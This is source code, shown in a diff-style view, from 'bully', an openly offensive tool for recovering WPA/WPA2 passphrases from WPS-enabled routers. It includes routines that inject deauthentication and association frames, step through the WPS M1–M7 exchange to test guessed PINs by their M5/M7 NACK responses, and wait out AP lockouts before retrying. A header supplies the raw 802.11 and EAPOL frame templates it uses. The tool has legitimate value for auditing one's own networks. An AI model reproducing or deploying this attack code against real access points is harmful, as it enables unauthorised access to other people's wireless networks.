int rthl = (G->has_rth ? le16toh(rth->it_len) : 0);
|
||||
|
||||
mac_t *mac = (mac_t*)(pack + rthl);
|
||||
if (memcmp(dest, NULL_MAC, 6) != 0 && memcmp(mac->adr1.addr, dest, 6) != 0)
|
||||
continue;
|
||||
if (memcmp(src, NULL_MAC, 6) != 0 && memcmp(mac->adr2.addr, src, 6) != 0)
|
||||
continue;
|
||||
|
||||
if (mac->type != type)
|
||||
goto ck_deauth;
|
||||
if (mac->subtype != subtype)
|
||||
if (type != MAC_TYPE_DATA || mac->subtype != (subtype | MAC_ST_QOSDATA))
|
||||
goto ck_deauth;
|
||||
|
||||
time = elapsed(&begin);
|
||||
|
||||
if (G->has_fcs && !G->nocheck) {
|
||||
uint32 crc = ~crc32((u_char*)mac, len - rthl - 4);
|
||||
uint32 fcs = ((fcs_t*)(pack + len - 4))->fcs;
|
||||
if (bswap_32(crc) != be32toh(fcs)) {
|
||||
fc++;
|
||||
if (MAX_FCS_FAIL <= fc) {
|
||||
vprint("[!] Excessive (%d) FCS failures while reading next packet\n",
|
||||
MAX_FCS_FAIL);
|
||||
return FCSFAIL;
|
||||
}
|
||||
else
|
||||
continue;
|
||||
};
|
||||
};
|
||||
|
||||
times[pkt].avg = (times[pkt].avg * times[pkt].count + time) / (times[pkt].count + 1);
|
||||
times[pkt].count++;
|
||||
|
||||
if (parse)
|
||||
return parse_packet(G->inp, pack, len, G->has_rth, G->has_fcs);
|
||||
|
||||
break;
|
||||
|
||||
ck_deauth:
|
||||
if (mac->type == MAC_TYPE_MGMT)
|
||||
if ((mac->subtype == MAC_ST_DISASSOC || mac->subtype == MAC_ST_DEAUTH)
|
||||
&& memcmp(dest, NULL_MAC, 6) != 0) {
|
||||
vprint("[!] Received disassociation/deauthentication from the AP\n");
|
||||
return DEORDIS;
|
||||
};
|
||||
};
|
||||
|
||||
return (ctrlc && G->state <= START_EAPOL ? ctrlc : SUCCESS);
|
||||
};
|
||||
|
||||
|
||||
int send_packet(struct global *G, uint8 *pack, int len, int noack)
|
||||
{
|
||||
int result = SUCCESS;
|
||||
|
||||
mac_t *mac = (mac_t*)(pack + RTH_SIZE);
|
||||
|
||||
if (32 <= len) {
|
||||
uint16 s = G->sequence++ << 4;
|
||||
mac->sequence = htole16(s);
|
||||
};
|
||||
|
||||
// if (G->use_fcs) {
|
||||
// uint32 crc = ~crc32((u_char*)mac, len-RTH_SIZE-4);
|
||||
// uint32 fcs = bswap_32(crc);
|
||||
// *(uint32*)(pack+len-4) = htobe32(fcs);
|
||||
// } else
|
||||
len -= 4;
|
||||
|
||||
int count = 0;
|
||||
|
||||
retry_snd:
|
||||
if (pcap_inject(G->pfd, pack, len) != len) {
|
||||
vprint("[!] Pcap injection error, failed packet follows\n");
|
||||
vprint("[!] >%s<\n", hex(pack, len));
|
||||
return INJFAIL;
|
||||
};
|
||||
|
||||
if (G->use_ack && !noack) {
|
||||
result =
|
||||
next_packet(G, MAC_TYPE_CTRL, MAC_ST_ACK, mac->adr2.addr, NULL_MAC, PKT_ACK, FALSE);
|
||||
if (result == TIMEOUT) {
|
||||
if (count++ < G->retries)
|
||||
goto retry_snd;
|
||||
vprint("[+] Sent packet not acknowledged after %d attempts\n", count);
|
||||
};
|
||||
};
|
||||
|
||||
return result;
|
||||
};
|
||||
|
||||
|
||||
void pcap_wait(struct global *G, int msdelay)
|
||||
{
|
||||
int result = ~TIMEOUT;
|
||||
times[PKT_NOP].user = times[PKT_NOP].def = msdelay;
|
||||
while (!ctrlc && result != TIMEOUT)
|
||||
result = next_packet(G, MAC_TYPE_RSVD, 0, BULL_MAC, BULL_MAC, PKT_NOP, FALSE);
|
||||
};
|
||||
|
||||
|
||||
int reassoc(struct global *G)
|
||||
{
|
||||
int result, count = 1;
|
||||
|
||||
if (G->delay) {
|
||||
pcap_wait(G, G->delay);
|
||||
G->delay = 0;
|
||||
};
|
||||
|
||||
reassoc:
|
||||
G->state = START_ASSOC;
|
||||
if (ctrlc)
|
||||
return ctrlc;
|
||||
|
||||
if (G->probe) {
|
||||
result = send_packet(G, G->dprobe, G->reql, 1);
|
||||
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP, G->hwmac, G->bssid, PKT_PR, TRUE);
|
||||
}
|
||||
else
|
||||
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON, BCAST_MAC, G->bssid, PKT_BEA, TRUE);
|
||||
|
||||
if (result == SUCCESS) {
|
||||
tag_t *tag = find_tag(G->inp[F_PAY].data + BFP_SIZE, G->inp[F_PAY].size - BFP_SIZE,
|
||||
TAG_CHAN, 0, NULL, 0);
|
||||
if (tag && tag->data[0] != G->chans[G->chanx]) {
|
||||
if (!G->fixed)
|
||||
G->chanx = set_chan(G, tag->data[0]);
|
||||
else
|
||||
vprint("[!] The AP was previously on channel '%s', now on '%d'\n",
|
||||
G->schan, tag->data[0]);
|
||||
};
|
||||
tag = find_tag(G->inp[F_PAY].data + BFP_SIZE, G->inp[F_PAY].size - BFP_SIZE,
|
||||
TAG_VEND, 0, MS_WPS_ID, 4);
|
||||
if (tag) {
|
||||
vtag_t *vtag = find_vtag(&tag->data[4], tag->len - 4, TAG_WPS_APLOCK, 1);
|
||||
if (vtag && vtag->data[0] == TAG_WPS_LOCKED) {
|
||||
if (!G->ignore) {
|
||||
vprint("[!] WPS lockout reported, sleeping for %d seconds ...\n", G->lwait);
|
||||
|
||||
lockwait:
|
||||
pcap_wait(G, G->lwait * 1000);
|
||||
G->dcount = 0;
|
||||
goto reassoc;
|
||||
};
|
||||
};
|
||||
if (G->detect && 3 <= G->dcount) {
|
||||
vprint("[!] WPS lockout detected, sleeping for %d seconds ...\n", G->lwait);
|
||||
goto lockwait;
|
||||
};
|
||||
};
|
||||
}
|
||||
else {
|
||||
if (result == TIMEOUT) {
|
||||
if (count++ < 3)
|
||||
goto reassoc;
|
||||
if (!G->fixed) {
|
||||
G->chanx = next_chan(G);
|
||||
goto reassoc;
|
||||
};
|
||||
};
|
||||
return result;
|
||||
};
|
||||
|
||||
G->state++;
|
||||
result = send_packet(G, deauth, sizeof(deauth) - 1, 0);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
|
||||
if (G->delay) {
|
||||
pcap_wait(G, G->delay);
|
||||
G->delay = 0;
|
||||
goto reassoc;
|
||||
};
|
||||
|
||||
G->state++;
|
||||
result = send_packet(G, authrq, sizeof(authrq) - 1, 0);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
|
||||
G->state++;
|
||||
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_AUTH, G->hwmac, G->bssid, PKT_AUT, TRUE);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
auth_t *auth = (auth_t*)(G->inp[F_PAY].data);
|
||||
if (le16toh(auth->status) != AUTH_SUCCESS) {
|
||||
vprint("[!] Authentication failure '0x%04x', restarting transaction\n",
|
||||
le16toh(auth->status));
|
||||
return DEORDIS;
|
||||
};
|
||||
|
||||
G->state++;
|
||||
result = send_packet(G, G->asshat, G->assl, 0);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
|
||||
G->state++;
|
||||
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_ASSOC_RESP, G->hwmac, G->bssid, PKT_ASN, TRUE);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
resp_t *resp = (resp_t*)(G->inp[F_PAY].data);
|
||||
if (le16toh(resp->status) != RESP_SUCCESS) {
|
||||
vprint("[!] Association failure '0x%04x', restarting transaction\n", le16toh(resp->status));
|
||||
return DEORDIS;
|
||||
};
|
||||
|
||||
return SUCCESS;
|
||||
};
|
||||
|
||||
|
||||
int wpstran(struct global *G)
|
||||
{
|
||||
enum wsc_op_code opcode;
|
||||
enum wps_state state;
|
||||
|
||||
int result, quit = 0;
|
||||
llc_t *llc;
|
||||
eap_t *eap;
|
||||
wfa_t *wfa;
|
||||
wpab_t *msg;
|
||||
uint8 *pack;
|
||||
vtag_t *tag;
|
||||
|
||||
restart:
|
||||
G->state = START_EAPOL;
|
||||
result = send_packet(G, eapols, sizeof(eapols) - 1, 0);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
|
||||
read_id:
|
||||
G->state++;
|
||||
result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid, PKT_EID, TRUE);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
|
||||
if (!G->inp[F_PAY].list || G->inp[F_EAP].size < EAP_SIZE) {
|
||||
|
||||
eap_err:
|
||||
vprint("[!] Unexpected packet received when waiting for EAP Req Id\n");
|
||||
vprint("[!] >%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size));
|
||||
return EAPFAIL;
|
||||
};
|
||||
|
||||
eap = (eap_t*)G->inp[F_EAP].data;
|
||||
if (eap->code != EAP_CODE_REQ || eap->type != EAP_TYPE_ID)
|
||||
goto eap_err;
|
||||
eap_id[G->eapidx] = eapolf[G->eapidx] = eap->id;
|
||||
|
||||
send_id:
|
||||
G->state++;
|
||||
result = send_packet(G, eap_id, sizeof(eap_id) - 1, 0);
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
G->wdata->state = RECV_M1;
|
||||
|
||||
read_mx:
|
||||
G->state++;
|
||||
state = G->wdata->state;
|
||||
|
||||
result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA, G->hwmac, G->bssid,
|
||||
((G->state - 10) >> 1) + 6, TRUE);
|
||||
|
||||
if (result != SUCCESS)
|
||||
switch (result) {
|
||||
case FCSFAIL:
|
||||
return result;
|
||||
case DEORDIS:
|
||||
return result;
|
||||
case EAPFAIL:
|
||||
eap = (eap_t*)G->inp[F_EAP].data;
|
||||
eapolf[G->eapidx] = eap->id;
|
||||
if (G->eapmode)
|
||||
if (state == RECV_M5) {
|
||||
quit = KEY1NAK;
|
||||
G->eapflag = 1;
|
||||
}
|
||||
else if (state == RECV_M7) {
|
||||
quit = KEY2NAK;
|
||||
G->eapflag = 1;
|
||||
}
|
||||
else
|
||||
quit = result;
|
||||
else
|
||||
quit = result;
|
||||
G->state++;
|
||||
goto eapfail;
|
||||
case TIMEOUT:
|
||||
quit = result;
|
||||
if (G->m57nack)
|
||||
quit = (state == RECV_M5 ? KEY1NAK : state == RECV_M7 ? KEY2NAK : result);
|
||||
G->wdata->state = SEND_WSC_NACK;
|
||||
goto send_mx;
|
||||
};
|
||||
|
||||
if (!G->inp[F_PAY].list || !G->inp[F_MSG].size) {
|
||||
if (G->inp[F_PAY].list) {
|
||||
eap = (eap_t*)G->inp[F_EAP].data;
|
||||
if (eap->code == EAP_CODE_REQ && eap->type == EAP_TYPE_ID) {
|
||||
G->state--;
|
||||
goto read_mx;
|
||||
};
|
||||
};
|
||||
|
||||
wps_err:
|
||||
vprint("[!] Unexpected packet received when waiting for WPS Message\n");
|
||||
vprint("[!] >%s<\n", hex(G->inp[F_ALL].data, G->inp[F_ALL].size));
|
||||
quit = WPSFAIL;
|
||||
G->state++;
|
||||
goto eapfail;
|
||||
|
||||
}
|
||||
else {
|
||||
tag = find_vtag(G->inp[F_MSG].data, G->inp[F_MSG].size, WPS_MSG_TYPE, 1);
|
||||
if (tag) {
|
||||
if (G->detect && state == RECV_M3)
|
||||
if (tag->data[0] == MSG_NACK || tag->data[0] == MSG_M2D)
|
||||
G->dcount += 1;
|
||||
else
|
||||
G->dcount = 0;
|
||||
|
||||
if (tag->data[0] == MSG_NACK) {
|
||||
quit = (state == RECV_M5 ? KEY1NAK : state == RECV_M7 ? KEY2NAK : WPSFAIL);
|
||||
if (quit != WPSFAIL) {
|
||||
G->eapmode = 0;
|
||||
if (G->eapflag) {
|
||||
G->eapflag = 0;
|
||||
G->restart = 1;
|
||||
};
|
||||
};
|
||||
}
|
||||
else if (tag->data[0] != map[G->state]) {
|
||||
vprint("[!] Received M2D or out of sequence WPS Message\n");
|
||||
G->wdata->state = SEND_WSC_NACK;
|
||||
quit = WPSFAIL;
|
||||
};
|
||||
}
|
||||
else
|
||||
goto wps_err;
|
||||
};
|
||||
|
||||
eap = (eap_t*)G->inp[F_EAP].data;
|
||||
wfamsg[G->eapidx] = eapolf[G->eapidx] = eap->id;
|
||||
|
||||
wfa = (wfa_t*)G->inp[F_WFA].data;
|
||||
opcode = wfa->op;
|
||||
|
||||
msg = wpabuf_alloc_copy(G->inp[F_MSG].data, G->inp[F_MSG].size);
|
||||
wps_registrar_process_msg(G->wdata, opcode, msg);
|
||||
wpabuf_free(msg);
|
||||
|
||||
if (tag->data[0] == MSG_M7)
|
||||
return SUCCESS;
|
||||
|
||||
send_mx:
|
||||
G->state++;
|
||||
msg = wps_registrar_get_msg(G->wdata, &opcode);
|
||||
if (msg) {
|
||||
uint8 *buf = msg->ext_data;
|
||||
if (!buf)
|
||||
buf = ((uint8*)msg) + sizeof(struct wpabuf);
|
||||
|
||||
int eapl = msg->used + EAP_SIZE + WFA_SIZE;
|
||||
*(uint16*)(&wfamsg[G->eaplnx]) = htobe16(eapl);
|
||||
*(uint16*)(&wfamsg[G->d1xlnx]) = htobe16(eapl);
|
||||
wfamsg[G->wfaopx] = opcode;
|
||||
|
||||
pack = build_packet(wfamsg, sizeof(wfamsg) - 1, buf, msg->used);
|
||||
result = send_packet(G, pack, sizeof(wfamsg) - 1 + msg->used, 0);
|
||||
free(pack);
|
||||
|
||||
if (result != SUCCESS)
|
||||
return result;
|
||||
}
|
||||
else
|
||||
quit = WPSFAIL;
|
||||
|
||||
eapfail:
|
||||
if (quit) {
|
||||
if (G->eapfail) {
|
||||
send_packet(G, eapolf, sizeof(eapolf) - 1, 0);
|
||||
do {
|
||||
result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA,
|
||||
G->hwmac, G->bssid, PKT_EAP, TRUE);
|
||||
} while (result != EAPFAIL && result != TIMEOUT);
|
||||
};
|
||||
G->state--;
|
||||
return quit;
|
||||
};
|
||||
|
||||
goto read_mx;
|
||||
};
|
|
@ -0,0 +1,394 @@
|
|||
/*
|
||||
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
|
||||
|
||||
Copyright (C) 2012 Brian Purcell <purcell.briand@gmail.com>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
#ifndef _80211_H
|
||||
#define _80211_H
|
||||
#pragma pack(push)
|
||||
#pragma pack(1)
|
||||
|
||||
#define FALSE 0
|
||||
#define TRUE 1
|
||||
|
||||
#define uint8 u_int8_t
|
||||
#define uint16 u_int16_t
|
||||
#define uint32 u_int32_t
|
||||
#define uint64 u_int64_t
|
||||
#define int8 int8_t
|
||||
#define int16 int16_t
|
||||
#define int32 int32_t
|
||||
|
||||
#define ui(x) ((int32)(x))
|
||||
#define uc(x) ((uint8*)(x))
|
||||
|
||||
uint8 nulls[33] = { 0 };
|
||||
|
||||
#define NULL_MAC nulls
|
||||
#define BCAST_MAC "\xFF\xFF\xFF\xFF\xFF\xFF"
|
||||
#define BULL_MAC "\xFA\xCE\xFA\xCE\xFA\xCE"
|
||||
|
||||
uint8 ackpkt[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\xD4\x00\x00\x00\xdd\xdd\xdd\xdd\xdd\xdd\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 deauth[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\xC0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\x08\x00\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 prober[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x40\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\x00\x1c\xcc\xcc\xcc\xcc\xFF\xFF\xFF\xFF\xFF\xFF"
|
||||
"\xCF\xCC\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 authrq[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\xB0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 asshat[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\x00\x00\x01\x00\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 eapols[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
|
||||
"\x02\x01\x00\x00\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 eapolf[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
|
||||
"\x02\x00\x00\x04\x04\x1D\x00\x04\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 eap_id[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
|
||||
"\x02\x00\x00\x23\x02\x1D\x00\x23\x01"
|
||||
"WFA-SimpleConfig-Registrar-1-0"
|
||||
"\xFF\xFF\xFF\xFF";
|
||||
|
||||
uint8 wfamsg[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
|
||||
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
|
||||
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
|
||||
"\x02\x00\xff\xff\x02\x1D\xff\xff\xfe"
|
||||
"\x00\x37\x2a\x00\x00\x00\x01\x04\x00\xFF\xFF\xFF\xFF";
|
||||
|
||||
|
||||
struct radiotap_header {
|
||||
u_int8_t it_version;
|
||||
u_int8_t it_pad;
|
||||
u_int16_t it_len;
|
||||
u_int32_t it_present;
|
||||
};
|
||||
typedef struct radiotap_header rth_t;
|
||||
#define RTH_SIZE (sizeof(rth_t))
|
||||
|
||||
|
||||
struct adr_frame {
|
||||
uint8 addr[6];
|
||||
};
|
||||
typedef struct adr_frame adr_t;
|
||||
#define ADR_SIZE (sizeof(adr_t))
|
||||
|
||||
|
||||
struct qos_frame {
|
||||
uint8 control;
|
||||
uint8 flags;
|
||||
};
|
||||
typedef struct qos_frame qos_t;
|
||||
#define QOS_SIZE (sizeof(qos_t))
|
||||
|
||||
|
||||
struct mac_frame {
|
||||
#if __BYTE_ORDER == __BIG_ENDIAN
|
||||
unsigned subtype : 4;
|
||||
unsigned type : 2;
|
||||
unsigned version : 2;
|
||||
|
||||
unsigned ordered : 1;
|
||||
unsigned protected : 1;
|
||||
unsigned more_data : 1;
|
||||
unsigned power : 1;
|
||||
unsigned retry : 1;
|
||||
unsigned more_frag : 1;
|
||||
unsigned from_ds : 1;
|
||||
unsigned to_ds : 1;
|
||||
#else
|
||||
unsigned version : 2;
|
||||
unsigned type : 2;
|
||||
unsigned subtype : 4;
|
||||
|
||||
unsigned to_ds : 1;
|
||||
unsigned from_ds : 1;
|
||||
unsigned more_frag : 1;
|
||||
unsigned retry : 1;
|
||||
unsigned power : 1;
|
||||
unsigned more_data : 1;
|
||||
unsigned protected : 1;
|
||||
unsigned ordered : 1;
|
||||
#endif
|
||||
uint16 duration;
|
||||
adr_t adr1;
|
||||
adr_t adr2;
|
||||
adr_t adr3;
|
||||
uint16 sequence;
|
||||
adr_t addr4;
|
||||
qos_t qos;
|
||||
};
|
||||
typedef struct mac_frame mac_t;
|
||||
#define MAC_SIZE_ACK (10)
|
||||
#define MAC_SIZE_RTS (16)
|
||||
#define MAC_SIZE_NORM (24)
|
||||
#define MAC_SIZE_LONG (30)
|
||||
|
||||
#define MAC_TYPE_MGMT 0x0
|
||||
#define MAC_TYPE_CTRL 0x1
|
||||
#define MAC_TYPE_DATA 0x2
|
||||
#define MAC_TYPE_RSVD 0x3
|
||||
|
||||
/* Management subtypes */
|
||||
#define MAC_ST_ASSOC_REQ 0x0
|
||||
#define MAC_ST_ASSOC_RESP 0x1
|
||||
#define MAC_ST_REASSOC_REQ 0x2
|
||||
#define MAC_ST_REASSOC_RESP 0x3
|
||||
#define MAC_ST_PROBE_REQ 0x4
|
||||
#define MAC_ST_PROBE_RESP 0x5
|
||||
#define MAC_ST_BEACON 0x8
|
||||
#define MAC_ST_DISASSOC 0xA
|
||||
#define MAC_ST_AUTH 0xB
|
||||
#define MAC_ST_DEAUTH 0xC
|
||||
/* Data subtypes */
|
||||
#define MAC_ST_DATA 0x0
|
||||
#define MAC_ST_NULL 0x4
|
||||
#define MAC_ST_QOSDATA 0x8
|
||||
/* Control subtypes */
|
||||
#define MAC_ST_RTS 0xB
|
||||
#define MAC_ST_ACK 0xD
|
||||
|
||||
|
||||
struct fcs_frame {
|
||||
uint32 fcs;
|
||||
};
|
||||
typedef struct fcs_frame fcs_t;
|
||||
#define FCS_SIZE (sizeof(fcs_t))
|
||||
|
||||
|
||||
struct bfp_frame {
|
||||
uint8 timestamp[8];
|
||||
uint16 interval;
|
||||
uint16 capability;
|
||||
};
|
||||
typedef struct bfp_frame bfp_t;
|
||||
#define BFP_SIZE (sizeof(bfp_t))
|
||||
|
||||
|
||||
struct cap_info {
|
||||
#if __BYTE_ORDER == __BIG_ENDIAN
|
||||
unsigned agility : 1;
|
||||
unsigned pbcc : 1;
|
||||
unsigned preamble : 1;
|
||||
unsigned privacy : 1;
|
||||
unsigned poll_req : 1;
|
||||
unsigned pollable : 1;
|
||||
unsigned ibss : 1;
|
||||
unsigned ess : 1;
|
||||
|
||||
unsigned immed_ba : 1;
|
||||
unsigned delay_ba : 1;
|
||||
unsigned dss_ofdm : 1;
|
||||
unsigned resvd : 1;
|
||||
unsigned apsd : 1;
|
||||
unsigned short_slot : 1;
|
||||
unsigned qos : 1;
|
||||
unsigned spectrum : 1;
|
||||
#else
|
||||
unsigned ess : 1;
|
||||
unsigned ibss : 1;
|
||||
unsigned pollable : 1;
|
||||
unsigned poll_req : 1;
|
||||
unsigned privacy : 1;
|
||||
unsigned preamble : 1;
|
||||
unsigned pbcc : 1;
|
||||
unsigned agility : 1;
|
||||
|
||||
unsigned spectrum : 1;
|
||||
unsigned qos : 1;
|
||||
unsigned short_slot : 1;
|
||||
unsigned apsd : 1;
|
||||
unsigned resvd : 1;
|
||||
unsigned dss_ofdm : 1;
|
||||
unsigned delay_ba : 1;
|
||||
unsigned immed_ba : 1;
|
||||
#endif
|
||||
};
|
||||
|
||||
|
||||
struct ie_tag {
|
||||
uint8 id;
|
||||
#define TAG_SSID 0
|
||||
#define TAG_RATE 1
|
||||
#define TAG_CHAN 3
|
||||
#define TAG_XRAT 50
|
||||
#define TAG_VEND 221
|
||||
uint8 len;
|
||||
uint8 data[];
|
||||
};
|
||||
typedef struct ie_tag tag_t;
|
||||
#define TAG_SIZE (sizeof(tag_t))
|
||||
|
||||
#define MS_WPS_ID "\x00\x50\xf2\x04"
|
||||
#define MS_WPS_TAG "\xdd\x09" MS_WPS_ID "\x10\x4a\x00\x01\x10"
|
||||
|
||||
|
||||
struct ie_vtag {
|
||||
uint16 id;
|
||||
#define TAG_WPS_CONF_M "\x10\x08"
|
||||
#define TAG_WPS_D_NAME "\x10\x11"
|
||||
#define TAG_WPS_PASSWD "\x10\x12"
|
||||
#define TAG_WPS_MANU "\x10\x21"
|
||||
#define TAG_WPS_M_NAME "\x10\x23"
|
||||
#define TAG_WPS_M_NUM "\x10\x24"
|
||||
#define TAG_WPS_BANDS "\x10\x3c"
|
||||
#define TAG_WPS_SERIAL "\x10\x42"
|
||||
#define TAG_WPS_STATE "\x10\x44"
|
||||
#define TAG_WPS_UUID_E "\x10\x47"
|
||||
#define TAG_WPS_V_EXT "\x10\x49"
|
||||
#define TAG_WPS_VERSION "\x10\x4A"
|
||||
#define TAG_WPS_D_TYPE "\x10\x54"
|
||||
#define TAG_WPS_APLOCK "\x10\x57"
|
||||
uint16 len;
|
||||
uint8 data[];
|
||||
#define TAG_WPS_V2 0
|
||||
#define TAG_WPS_LOCKED 1
|
||||
#define TAG_WPS_CONFIG 2
|
||||
};
|
||||
typedef struct ie_vtag vtag_t;
|
||||
#define VTAG_SIZE (sizeof(vtag_t))
|
||||
|
||||
/* Device password IDs */
|
||||
#define WPS_ID_PIN "\x00\x00"
|
||||
#define WPS_ID_USER "\x00\x01"
|
||||
#define WPS_ID_MACHINE "\x00\x02"
|
||||
#define WPS_ID_REKEY "\x00\x03"
|
||||
#define WPS_ID_PBC "\x00\x04"
|
||||
#define WPS_ID_REG "\x00\x05"
|
||||
|
||||
/* Configuration methods */
|
||||
#define WPS_CONF_USB (1 << 0)
|
||||
#define WPS_CONF_ETHERNET (1 << 1)
|
||||
#define WPS_CONF_LABEL (1 << 2)
|
||||
#define WPS_CONF_DISPLAY (1 << 3)
|
||||
#define WPS_CONF_EXT_NFC (1 << 4)
|
||||
#define WPS_CONF_INT_NFC (1 << 5)
|
||||
#define WPS_CONF_NFC_IF (1 << 6)
|
||||
#define WPS_CONF_PUSH_BTN (1 << 7)
|
||||
#define WPS_CONF_KEYPAD (1 << 8)
|
||||
#define WPS_CONF_V_PUSH_BTN (1 << 9)
|
||||
#define WPS_CONF_PHY_PUSH_BTN (1 << 10)
|
||||
#define WPS_CONF_V_DISPLAY (1 << 13)
|
||||
#define WPS_CONF_PHY_DISPLAY (1 << 14)
|
||||
|
||||
struct auth_frame {
|
||||
uint16 algorithm;
|
||||
uint16 sequence;
|
||||
uint16 status;
|
||||
#define AUTH_SUCCESS 0
|
||||
};
|
||||
typedef struct auth_frame auth_t;
|
||||
#define AUTH_SIZE (sizeof(auth_t))
|
||||
|
||||
|
||||
struct assn_frame {
|
||||
uint16 capability;
|
||||
uint16 listen;
|
||||
};
|
||||
typedef struct assn_frame assn_t;
|
||||
#define ASSN_SIZE (sizeof(assn_t))
|
||||
|
||||
|
||||
struct resp_frame {
|
||||
uint16 capability;
|
||||
uint16 status;
|
||||
#define RESP_SUCCESS 0
|
||||
uint16 assn_id;
|
||||
};
|
||||
typedef struct resp_frame resp_t;
|
||||
#define RESP_SIZE (sizeof(resp_t))
|
||||
|
||||
|
||||
struct llc_frame {
|
||||
uint8 dsap;
|
||||
uint8 ssap;
|
||||
uint8 control;
|
||||
uint8 org[3];
|
||||
uint16 type;
|
||||
#define LLC_TYPE_AUTH 0x888e
|
||||
};
|
||||
typedef struct llc_frame llc_t;
|
||||
#define LLC_SIZE (sizeof(llc_t))
|
||||
|
||||
|
||||
struct d1x_frame {
|
||||
uint8 version;
|
||||
uint8 type;
|
||||
#define D1X_TYPE_EAP 0
|
||||
uint16 len;
|
||||
uint8 data[];
|
||||
};
|
||||
typedef struct d1x_frame d1x_t;
|
||||
#define D1X_SIZE (sizeof(d1x_t))
|
||||
|
||||
|
||||
struct eap_frame {
|
||||
uint8 code;
|
||||
#define EAP_CODE_REQ 1
|
||||
#define EAP_CODE_RESP 2
|
||||
#define EAP_CODE_FAIL 4
|
||||
uint8 id;
|
||||
uint16 len;
|
||||
uint8 type;
|
||||
#define EAP_TYPE_ID 1
|
||||
#define EAP_TYPE_EXPAND 254
|
||||
uint8 data[];
|
||||
};
|
||||
typedef struct eap_frame eap_t;
|
||||
#define EAP_SIZE (sizeof(eap_t))
|
||||
|
||||
|
||||
struct wfa_frame {
|
||||
uint8 vid[3];
|
||||
#define WFA_VENDOR "\x00\x37\x2a"
|
||||
uint32 type;
|
||||
#define WFA_SIMPLECONF 1
|
||||
uint8 op;
|
||||
#define WSC_OP_NACK 3
|
||||
#define WSC_OP_MSG 4
|
||||
uint8 flags;
|
||||
vtag_t tags[];
|
||||
#define WPS_MSG_TYPE "\x10\x22"
|
||||
#define MSG_M1 4
|
||||
#define MSG_M2 5
|
||||
#define MSG_M2D 6
|
||||
#define MSG_M3 7
|
||||
#define MSG_M4 8
|
||||
#define MSG_M5 9
|
||||
#define MSG_M6 10
|
||||
#define MSG_M7 11
|
||||
#define MSG_NACK 14
|
||||
};
|
||||
typedef struct wfa_frame wfa_t;
|
||||
#define WFA_SIZE (sizeof(wfa_t))
|
||||
|
||||
|
||||
#pragma pack(pop)
|
||||
#endif /* _80211_H */
|
|
@ -0,0 +1,35 @@
|
|||
prefix = /usr/local
|
||||
